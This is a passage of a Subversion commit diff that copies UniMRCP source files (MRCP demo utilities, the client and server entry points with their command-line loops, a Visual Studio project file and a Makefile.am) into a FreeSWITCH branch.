+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "demo_util.h"
+/* common includes */
+#include "mrcp_session.h"
+#include "mrcp_message.h"
+#include "mrcp_generic_header.h"
+/* synthesizer includes */
+#include "mrcp_synth_header.h"
+#include "mrcp_synth_resource.h"
+/* recognizer includes */
+#include "mrcp_recog_header.h"
+#include "mrcp_recog_resource.h"
+/* NLSML doc include */
+#include "apt_nlsml_doc.h"
+/* logger include */
+#include "apt_log.h"
+
+static void demo_message_body_set(mrcp_message_t *mrcp_message, const apt_dir_layout_t *dir_layout, const char *file_name)
+{
+	char *file_path = apt_datadir_filepath_get(dir_layout,file_name,mrcp_message->pool);
+	if(file_path) {
+		FILE *file = fopen(file_path,"r");
+		if(file) {
+			char text[1024];
+			apr_size_t size;
+			size = fread(text,1,sizeof(text),file);
+			apt_string_assign_n(&mrcp_message->body,text,size,mrcp_message->pool);
+			fclose(file);
+		}
+	}
+}
+
+/** Create demo MRCP message (SPEAK request) */
+mrcp_message_t* demo_speak_message_create(mrcp_session_t *session, mrcp_channel_t *channel, const apt_dir_layout_t *dir_layout)
+{
+	/* create MRCP message */
+	mrcp_message_t *mrcp_message = mrcp_application_message_create(session,channel,SYNTHESIZER_SPEAK);
+	if(mrcp_message) {
+		mrcp_generic_header_t *generic_header;
+		mrcp_synth_header_t *synth_header;
+		/* get/allocate generic header */
+		generic_header = mrcp_generic_header_prepare(mrcp_message);
+		if(generic_header) {
+			/* set generic header fields */
+			apt_string_assign(&generic_header->content_type,"application/synthesis+ssml",mrcp_message->pool);
+			mrcp_generic_header_property_add(mrcp_message,GENERIC_HEADER_CONTENT_TYPE);
+		}
+		/* get/allocate synthesizer header */
+		synth_header = mrcp_resource_header_prepare(mrcp_message);
+		if(synth_header) {
+			/* set synthesizer header fields */
+			synth_header->voice_param.age = 28;
+			mrcp_resource_header_property_add(mrcp_message,SYNTHESIZER_HEADER_VOICE_AGE);
+		}
+		/* set message body */
+		demo_message_body_set(mrcp_message,dir_layout,"speak.xml");
+	}
+	return mrcp_message;
+}
+
+/** Create demo MRCP message (DEFINE-GRAMMAR request) */
+mrcp_message_t* demo_define_grammar_message_create(mrcp_session_t *session, mrcp_channel_t *channel, const apt_dir_layout_t *dir_layout)
+{
+	/* create MRCP message */
+	mrcp_message_t *mrcp_message = mrcp_application_message_create(session,channel,RECOGNIZER_DEFINE_GRAMMAR);
+	if(mrcp_message) {
+		mrcp_generic_header_t *generic_header;
+		/* get/allocate generic header */
+		generic_header = mrcp_generic_header_prepare(mrcp_message);
+		if(generic_header) {
+			/* set generic header fields */
+			if(mrcp_message->start_line.version == MRCP_VERSION_2) {
+				apt_string_assign(&generic_header->content_type,"application/srgs+xml",mrcp_message->pool);
+			}
+			else {
+				apt_string_assign(&generic_header->content_type,"application/grammar+xml",mrcp_message->pool);
+			}
+			mrcp_generic_header_property_add(mrcp_message,GENERIC_HEADER_CONTENT_TYPE);
+			apt_string_assign(&generic_header->content_id,"request1@form-level.store",mrcp_message->pool);
+			mrcp_generic_header_property_add(mrcp_message,GENERIC_HEADER_CONTENT_ID);
+		}
+		/* set message body */
+		demo_message_body_set(mrcp_message,dir_layout,"grammar.xml");
+	}
+	return mrcp_message;
+}
+
+/** Create demo MRCP message (RECOGNIZE request) */
+mrcp_message_t* demo_recognize_message_create(mrcp_session_t *session, mrcp_channel_t *channel, const apt_dir_layout_t *dir_layout)
+{
+	const char text[] = "session:request1@form-level.store";
+
+	/* create MRCP message */
+	mrcp_message_t *mrcp_message = mrcp_application_message_create(session,channel,RECOGNIZER_RECOGNIZE);
+	if(mrcp_message) {
+		mrcp_recog_header_t *recog_header;
+		mrcp_generic_header_t *generic_header;
+		/* get/allocate generic header */
+		generic_header = mrcp_generic_header_prepare(mrcp_message);
+		if(generic_header) {
+			/* set generic header fields */
+			apt_string_assign(&generic_header->content_type,"text/uri-list",mrcp_message->pool);
+			mrcp_generic_header_property_add(mrcp_message,GENERIC_HEADER_CONTENT_TYPE);
+		}
+		/* get/allocate recognizer header */
+		recog_header = mrcp_resource_header_prepare(mrcp_message);
+		if(recog_header) {
+			if(mrcp_message->start_line.version == MRCP_VERSION_2) {
+				/* set recognizer header fields */
+				recog_header->cancel_if_queue = FALSE;
+				mrcp_resource_header_property_add(mrcp_message,RECOGNIZER_HEADER_CANCEL_IF_QUEUE);
+			}
+			recog_header->no_input_timeout = 5000;
+			mrcp_resource_header_property_add(mrcp_message,RECOGNIZER_HEADER_NO_INPUT_TIMEOUT);
+			recog_header->recognition_timeout = 10000;
+			mrcp_resource_header_property_add(mrcp_message,RECOGNIZER_HEADER_RECOGNITION_TIMEOUT);
+			recog_header->start_input_timers = TRUE;
+			mrcp_resource_header_property_add(mrcp_message,RECOGNIZER_HEADER_START_INPUT_TIMERS);
+			recog_header->confidence_threshold = 0.87f;
+			mrcp_resource_header_property_add(mrcp_message,RECOGNIZER_HEADER_CONFIDENCE_THRESHOLD);
+		}
+		/* set message body */
+		apt_string_assign(&mrcp_message->body,text,mrcp_message->pool);
+	}
+	return mrcp_message;
+}
+
+/** Parse NLSML result */
+apt_bool_t demo_nlsml_result_parse(mrcp_message_t *message)
+{
+	apr_xml_elem *interpret;
+	apr_xml_elem *instance;
+	apr_xml_elem *input;
+	apr_xml_doc *doc = nlsml_doc_load(&message->body,message->pool);
+	if(!doc) {
+		return FALSE;
+	}
+	
+	/* walk through interpreted results */
+	interpret = nlsml_first_interpret_get(doc);
+	for(; interpret; interpret = nlsml_next_interpret_get(interpret)) {
+		/* get instance and input */
+		nlsml_interpret_results_get(interpret,&instance,&input);
+		if(instance) {
+			/* process instance */
+			if(instance->first_cdata.first) {
+				apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Interpreted Instance [%s]",instance->first_cdata.first->text);
+			}
+		}
+		if(input) {
+			/* process input */
+			if(input->first_cdata.first) {
+				apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Interpreted Input [%s]",input->first_cdata.first->text);
+			}
+		}
+	}
+	return TRUE;
+}
+
+/** Create demo RTP termination descriptor */
+mpf_rtp_termination_descriptor_t* demo_rtp_descriptor_create(apr_pool_t *pool)
+{
+	mpf_codec_descriptor_t *codec_descriptor;
+	mpf_rtp_media_descriptor_t *media;
+	/* create rtp descriptor */
+	mpf_rtp_termination_descriptor_t *rtp_descriptor = apr_palloc(pool,sizeof(mpf_rtp_termination_descriptor_t));
+	mpf_rtp_termination_descriptor_init(rtp_descriptor);
+	/* create rtp local media */
+	media = apr_palloc(pool,sizeof(mpf_rtp_media_descriptor_t));
+	mpf_rtp_media_descriptor_init(media);
+	apt_string_assign(&media->base.ip,"127.0.0.1",pool);
+	media->base.port = 6000;
+	media->base.state = MPF_MEDIA_ENABLED;
+	media->mode = STREAM_MODE_RECEIVE;
+
+	/* initialize codec list */
+	mpf_codec_list_init(&media->codec_list,2,pool);
+	/* set codec descriptor */
+	codec_descriptor = mpf_codec_list_add(&media->codec_list);
+	if(codec_descriptor) {
+		codec_descriptor->payload_type = 0;
+	}
+	/* set another codec descriptor */
+	codec_descriptor = mpf_codec_list_add(&media->codec_list);
+	if(codec_descriptor) {
+		codec_descriptor->payload_type = 96;
+		apt_string_set(&codec_descriptor->name,"PCMU");
+		codec_descriptor->sampling_rate = 16000;
+		codec_descriptor->channel_count = 1;
+	}
+
+	rtp_descriptor->audio.local = media;
+	return rtp_descriptor;
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-client/src/main.c

Copied: freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-client/src/main.c (from rev 14471, freeswitch/trunk/libs/unimrcp/platforms/unimrcp-client/src/main.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-client/src/main.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-client/src/main.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,229 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <apr_getopt.h>
+#include <apr_file_info.h>
+#include "demo_framework.h"
+#include "apt_pool.h"
+#include "apt_log.h"
+
+typedef struct {
+	const char        *root_dir_path;
+	apt_log_priority_e log_priority;
+	apt_log_output_e   log_output;
+} client_options_t;
+
+static apt_bool_t demo_framework_cmdline_process(demo_framework_t *framework, char *cmdline)
+{
+	apt_bool_t running = TRUE;
+	char *name;
+	char *last;
+	name = apr_strtok(cmdline, " ", &last);
+
+	if(strcasecmp(name,"run") == 0) {
+		char *app_name = apr_strtok(NULL, " ", &last);
+		if(app_name) {
+			char *profile_name = apr_strtok(NULL, " ", &last);
+			if(!profile_name) {
+				profile_name = "MRCPv2-Default";
+			}
+			demo_framework_app_run(framework,app_name,profile_name);
+		}
+	}
+	else if(strcasecmp(name,"loglevel") == 0) {
+		char *priority = apr_strtok(NULL, " ", &last);
+		if(priority) {
+			apt_log_priority_set(atol(priority));
+		}
+	}
+	else if(strcasecmp(name,"exit") == 0 || strcmp(name,"quit") == 0) {
+		running = FALSE;
+	}
+	else if(strcasecmp(name,"help") == 0) {
+		printf("usage:\n"
+		       "\n- run [app_name] [profile_name] (run demo application)\n"
+			   "       app_name is one of 'synth', 'recog', 'bypass', 'discover'\n"
+			   "       profile_name is one of 'MRCPv2-Default', 'MRCPv1-Default', ...\n"
+			   "\n       examples: \n"
+			   "           run synth\n"
+			   "           run recog\n"
+			   "           run synth MRCPv1-Default\n"
+			   "           run recog MRCPv1-Default\n"
+		       "\n- loglevel [level] (set loglevel, one of 0,1...7)\n"
+		       "\n- quit, exit\n");
+	}
+	else {
+		printf("unknown command: %s (input help for usage)\n",name);
+	}
+	return running;
+}
+
+static apt_bool_t demo_framework_cmdline_run(demo_framework_t *framework)
+{
+	apt_bool_t running = TRUE;
+	char cmdline[1024];
+	int i;
+	do {
+		printf(">");
+		memset(&cmdline, 0, sizeof(cmdline));
+		for(i = 0; i < sizeof(cmdline); i++) {
+			cmdline[i] = (char) getchar();
+			if(cmdline[i] == '\n') {
+				cmdline[i] = '\0';
+				break;
+			}
+		}
+		if(*cmdline) {
+			running = demo_framework_cmdline_process(framework,cmdline);
+		}
+	}
+	while(running != 0);
+	return TRUE;
+}
+
+static void usage()
+{
+	printf(
+		"\n"
+		"Usage:\n"
+		"\n"
+		"  unimrcpclient [options]\n"
+		"\n"
+		"  Available options:\n"
+		"\n"
+		"   -r [--root-dir] path     : Set the project root directory path.\n"
+		"\n"
+		"   -l [--log-prio] priority : Set the log priority.\n"
+		"                              (0-emergency, ..., 7-debug)\n"
+		"\n"
+		"   -o [--log-output] mode   : Set the log output mode.\n"
+		"                              (0-none, 1-console only, 2-file only, 3-both)\n"
+		"\n"
+		"   -h [--help]              : Show the help.\n"
+		"\n");
+}
+
+static apt_bool_t demo_framework_options_load(client_options_t *options, int argc, const char * const *argv, apr_pool_t *pool)
+{
+	apr_status_t rv;
+	apr_getopt_t *opt = NULL;
+	int optch;
+	const char *optarg;
+
+	const apr_getopt_option_t opt_option[] = {
+		/* long-option, short-option, has-arg flag, description */
+		{ "root-dir",    'r', TRUE,  "path to root dir" },  /* -r arg or --root-dir arg */
+		{ "log-prio",    'l', TRUE,  "log priority" },      /* -l arg or --log-prio arg */
+		{ "log-output",  'o', TRUE,  "log output mode" },   /* -o arg or --log-output arg */
+		{ "help",        'h', FALSE, "show help" },         /* -h or --help */
+		{ NULL, 0, 0, NULL },                               /* end */
+	};
+
+	rv = apr_getopt_init(&opt, pool , argc, argv);
+	if(rv != APR_SUCCESS) {
+		return FALSE;
+	}
+
+	while((rv = apr_getopt_long(opt, opt_option, &optch, &optarg)) == APR_SUCCESS) {
+		switch(optch) {
+			case 'r':
+				options->root_dir_path = optarg;
+				break;
+			case 'l':
+				if(optarg) {
+					options->log_priority = atoi(optarg);
+				}
+				break;
+			case 'o':
+				if(optarg) {
+					options->log_output = atoi(optarg);
+				}
+				break;
+			case 'h':
+				usage();
+				return FALSE;
+		}
+	}
+
+	if(rv != APR_EOF) {
+		usage();
+		return FALSE;
+	}
+
+	return TRUE;
+}
+
+int main(int argc, const char * const *argv)
+{
+	apr_pool_t *pool = NULL;
+	client_options_t options;
+	apt_dir_layout_t *dir_layout;
+	demo_framework_t *framework;
+
+	/* APR global initialization */
+	if(apr_initialize() != APR_SUCCESS) {
+		apr_terminate();
+		return 0;
+	}
+
+	/* create APR pool */
+	pool = apt_pool_create();
+	if(!pool) {
+		apr_terminate();
+		return 0;
+	}
+
+	/* set the default options */
+	options.root_dir_path = "../";
+	options.log_priority = APT_PRIO_INFO;
+	options.log_output = APT_LOG_OUTPUT_CONSOLE;
+
+	/* load options */
+	if(demo_framework_options_load(&options,argc,argv,pool) != TRUE) {
+		apr_pool_destroy(pool);
+		apr_terminate();
+		return 0;
+	}
+
+	/* create the structure of default directories layout */
+	dir_layout = apt_default_dir_layout_create(options.root_dir_path,pool);
+	/* create singleton logger */
+	apt_log_instance_create(options.log_output,options.log_priority,pool);
+
+	if((options.log_output & APT_LOG_OUTPUT_FILE) == APT_LOG_OUTPUT_FILE) {
+		/* open the log file */
+		apt_log_file_open(dir_layout->log_dir_path,"unimrcpclient",MAX_LOG_FILE_SIZE,MAX_LOG_FILE_COUNT,pool);
+	}
+
+	/* create demo framework */
+	framework = demo_framework_create(dir_layout);
+	if(framework) {
+		/* run command line  */
+		demo_framework_cmdline_run(framework);
+		/* destroy demo framework */
+		demo_framework_destroy(framework);
+	}
+
+	/* destroy singleton logger */
+	apt_log_instance_destroy();
+	/* destroy APR pool */
+	apr_pool_destroy(pool);
+	/* APR global termination */
+	apr_terminate();
+	return 0;
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-client/unimrcpclient.vcproj

Copied: freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-client/unimrcpclient.vcproj (from rev 14471, freeswitch/trunk/libs/unimrcp/platforms/unimrcp-client/unimrcpclient.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-client/unimrcpclient.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-client/unimrcpclient.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,201 @@
+<?xml version="1.0" encoding="windows-1251"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="unimrcpclient"
+	ProjectGUID="{57FAF32E-49FD-491F-895D-132D0D5EFE0A}"
+	RootNamespace="unimrcpclient"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			ConfigurationType="1"
+			InheritedPropertySheets="$(ProjectDir)..\..\build\vsprops\unidebug.vsprops;$(ProjectDir)..\..\build\vsprops\unimrcpclient.vsprops"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="include"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="$(UniMRCPClientLibs)"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCWebDeploymentTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			ConfigurationType="1"
+			InheritedPropertySheets="$(ProjectDir)..\..\build\vsprops\unirelease.vsprops;$(ProjectDir)..\..\build\vsprops\unimrcpclient.vsprops"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="include"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="$(UniMRCPClientLibs)"
+				LinkTimeCodeGeneration="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCWebDeploymentTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="src"
+			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
+			>
+			<File
+				RelativePath=".\src\demo_bypass_application.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\demo_discover_application.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\demo_framework.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\demo_recog_application.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\demo_synth_application.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\demo_util.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\main.c"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="include"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
+			>
+			<File
+				RelativePath=".\include\demo_application.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\demo_framework.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\demo_util.h"
+				>
+			</File>
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Copied: freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-server (from rev 14471, freeswitch/trunk/libs/unimrcp/platforms/unimrcp-server)

Property changes: freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-server


Name: svn:ignore
   + Makefile.in
*.user
.deps
Makefile

Deleted: freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-server/Makefile.am

Copied: freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-server/Makefile.am (from rev 14471, freeswitch/trunk/libs/unimrcp/platforms/unimrcp-server/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-server/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-server/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,23 @@
+MAINTAINERCLEANFILES   = Makefile.in
+
+INCLUDES               = -Iinclude \
+                         -I$(top_srcdir)/platforms/libunimrcp-server/include \
+                         -I$(top_srcdir)/libs/mrcp-server/include \
+                         -I$(top_srcdir)/libs/mrcp-engine/include \
+                         -I$(top_srcdir)/libs/mrcp-signaling/include \
+                         -I$(top_srcdir)/libs/mrcpv2-transport/include \
+                         -I$(top_srcdir)/libs/mrcp/include \
+                         -I$(top_srcdir)/libs/mrcp/message/include \
+                         -I$(top_srcdir)/libs/mrcp/control/include \
+                         -I$(top_srcdir)/libs/mrcp/resources/include \
+                         -I$(top_srcdir)/libs/mpf/include \
+                         -I$(top_srcdir)/libs/apr-toolkit/include \
+                         $(UNIMRCP_APR_INCLUDES) $(UNIMRCP_APU_INCLUDES)
+
+bin_PROGRAMS           = unimrcpserver
+unimrcpserver_SOURCES  = src/main.c src/uni_cmdline.c src/uni_daemon.c
+unimrcpserver_LDADD    = $(top_builddir)/platforms/libunimrcp-server/libunimrcpserver.la
+
+if ISMAC
+unimrcpserver_LDFLAGS  = -framework CoreFoundation -framework SystemConfiguration
+endif

Copied: freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-server/src (from rev 14471, freeswitch/trunk/libs/unimrcp/platforms/unimrcp-server/src)

Deleted: freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-server/src/main.c

Copied: freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-server/src/main.c (from rev 14471, freeswitch/trunk/libs/unimrcp/platforms/unimrcp-server/src/main.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-server/src/main.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-server/src/main.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,198 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include <apr_getopt.h>
+#include <apr_file_info.h>
+#include "apt_pool.h"
+#include "apt_dir_layout.h"
+#include "apt_log.h"
+
+typedef struct {
+	const char        *root_dir_path;
+	apt_bool_t         foreground;
+	apt_log_priority_e log_priority;
+	apt_log_output_e   log_output;
+} server_options_t;
+
+#ifdef WIN32
+apt_bool_t uni_service_run(apt_dir_layout_t *dir_layout, apr_pool_t *pool);
+#else
+apt_bool_t uni_daemon_run(apt_dir_layout_t *dir_layout, apr_pool_t *pool);
+#endif
+
+apt_bool_t uni_cmdline_run(apt_dir_layout_t *dir_layout, apr_pool_t *pool);
+
+
+static void usage()
+{
+	printf(
+		"\n"
+		"Usage:\n"
+		"\n"
+		"  unimrcpserver [options]\n"
+		"\n"
+		"  Available options:\n"
+		"\n"
+		"   -r [--root-dir] path     : Set the project root directory path.\n"
+		"\n"
+		"   -l [--log-prio] priority : Set the log priority.\n"
+		"                              (0-emergency, ..., 7-debug)\n"
+		"\n"
+		"   -o [--log-output] mode   : Set the log output mode.\n"
+		"                              (0-none, 1-console only, 2-file only, 3-both)\n"
+		"\n"
+#ifdef WIN32
+		"   -s [--service]           : Run as the Windows service.\n"
+		"\n"
+#else
+		"   -d [--daemon]            : Run as the daemon.\n"
+		"\n"
+#endif
+		"   -h [--help]              : Show the help.\n"
+		"\n");
+}
+
+static apt_bool_t options_load(server_options_t *options, int argc, const char * const *argv, apr_pool_t *pool)
+{
+	apr_status_t rv;
+	apr_getopt_t *opt = NULL;
+	int optch;
+	const char *optarg;
+
+	const apr_getopt_option_t opt_option[] = {
+		/* long-option, short-option, has-arg flag, description */
+		{ "root-dir",    'r', TRUE,  "path to root dir" },  /* -r arg or --root-dir arg */
+		{ "log-prio",    'l', TRUE,  "log priority" },      /* -l arg or --log-prio arg */
+		{ "log-output",  'o', TRUE,  "log output mode" },   /* -o arg or --log-output arg */
+#ifdef WIN32
+		{ "service",     's', FALSE, "run as service" },    /* -s or --service */
+#else
+		{ "daemon",      'd', FALSE, "start as daemon" },   /* -d or --daemon */
+#endif
+		{ "help",        'h', FALSE, "show help" },         /* -h or --help */
+		{ NULL, 0, 0, NULL },                               /* end */
+	};
+
+	rv = apr_getopt_init(&opt, pool , argc, argv);
+	if(rv != APR_SUCCESS) {
+		return FALSE;
+	}
+
+	while((rv = apr_getopt_long(opt, opt_option, &optch, &optarg)) == APR_SUCCESS) {
+		switch(optch) {
+			case 'r':
+				options->root_dir_path = optarg;
+				break;
+			case 'l':
+				if(optarg) {
+					options->log_priority = atoi(optarg);
+				}
+				break;
+			case 'o':
+				if(optarg) {
+					options->log_output = atoi(optarg);
+				}
+				break;
+#ifdef WIN32
+			case 's':
+				options->foreground = FALSE;
+				break;
+#else
+			case 'd':
+				options->foreground = FALSE;
+				break;
+#endif
+			case 'h':
+				usage();
+				return FALSE;
+		}
+	}
+
+	if(rv != APR_EOF) {
+		usage();
+		return FALSE;
+	}
+
+	return TRUE;
+}
+
+int main(int argc, const char * const *argv)
+{
+	apr_pool_t *pool = NULL;
+	server_options_t options;
+	apt_dir_layout_t *dir_layout;
+
+	/* APR global initialization */
+	if(apr_initialize() != APR_SUCCESS) {
+		apr_terminate();
+		return 0;
+	}
+
+	/* create APR pool */
+	pool = apt_pool_create();
+	if(!pool) {
+		apr_terminate();
+		return 0;
+	}
+
+	/* set the default options */
+	options.root_dir_path = "../";
+	options.foreground = TRUE;
+	options.log_priority = APT_PRIO_INFO;
+	options.log_output = APT_LOG_OUTPUT_CONSOLE;
+
+	/* load options */
+	if(options_load(&options,argc,argv,pool) != TRUE) {
+		apr_pool_destroy(pool);
+		apr_terminate();
+		return 0;
+	}
+
+	/* create the structure of default directories layout */
+	dir_layout = apt_default_dir_layout_create(options.root_dir_path,pool);
+	/* create singleton logger */
+	apt_log_instance_create(options.log_output,options.log_priority,pool);
+
+	if((options.log_output & APT_LOG_OUTPUT_FILE) == APT_LOG_OUTPUT_FILE) {
+		/* open the log file */
+		apt_log_file_open(dir_layout->log_dir_path,"unimrcpserver",MAX_LOG_FILE_SIZE,MAX_LOG_FILE_COUNT,pool);
+	}
+
+	if(options.foreground == TRUE) {
+		/* run command line */
+		uni_cmdline_run(dir_layout,pool);
+	}
+#ifdef WIN32
+	else {
+		/* run as windows service */
+		uni_service_run(dir_layout,pool);
+	}
+#else
+	else {
+		/* run as daemon */
+		uni_daemon_run(dir_layout,pool);
+	}
+#endif
+
+	/* destroy singleton logger */
+	apt_log_instance_destroy();
+	/* destroy APR pool */
+	apr_pool_destroy(pool);
+	/* APR global termination */
+	apr_terminate();
+	return 0;
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-server/src/uni_cmdline.c

Copied: freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-server/src/uni_cmdline.c (from rev 14471, freeswitch/trunk/libs/unimrcp/platforms/unimrcp-server/src/uni_cmdline.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-server/src/uni_cmdline.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-server/src/uni_cmdline.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,81 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdio.h>
+#include <stdlib.h>
+#include "unimrcp_server.h"
+#include "apt_log.h"
+
+static apt_bool_t cmdline_process(char *cmdline)
+{
+	apt_bool_t running = TRUE;
+	char *name;
+	char *last;
+	name = apr_strtok(cmdline, " ", &last);
+
+	if(strcasecmp(name,"loglevel") == 0) {
+		char *priority = apr_strtok(NULL, " ", &last);
+		if(priority) {
+			apt_log_priority_set(atol(priority));
+		}
+	}
+	else if(strcasecmp(name,"exit") == 0 || strcmp(name,"quit") == 0) {
+		running = FALSE;
+	}
+	else if(strcasecmp(name,"help") == 0) {
+		printf("usage:\n");
+		printf("- loglevel [level] (set loglevel, one of 0,1...7)\n");
+		printf("- quit, exit\n");
+	}
+	else {
+		printf("unknown command: %s (input help for usage)\n",name);
+	}
+	return running;
+}
+
+apt_bool_t uni_cmdline_run(apt_dir_layout_t *dir_layout, apr_pool_t *pool)
+{
+	apt_bool_t running = TRUE;
+	char cmdline[1024];
+	int i;
+	mrcp_server_t *server;
+
+	/* start server */
+	server = unimrcp_server_start(dir_layout);
+	if(!server) {
+		return FALSE;
+	}
+
+	do {
+		printf(">");
+		memset(&cmdline, 0, sizeof(cmdline));
+		for(i = 0; i < sizeof(cmdline); i++) {
+			cmdline[i] = (char) getchar();
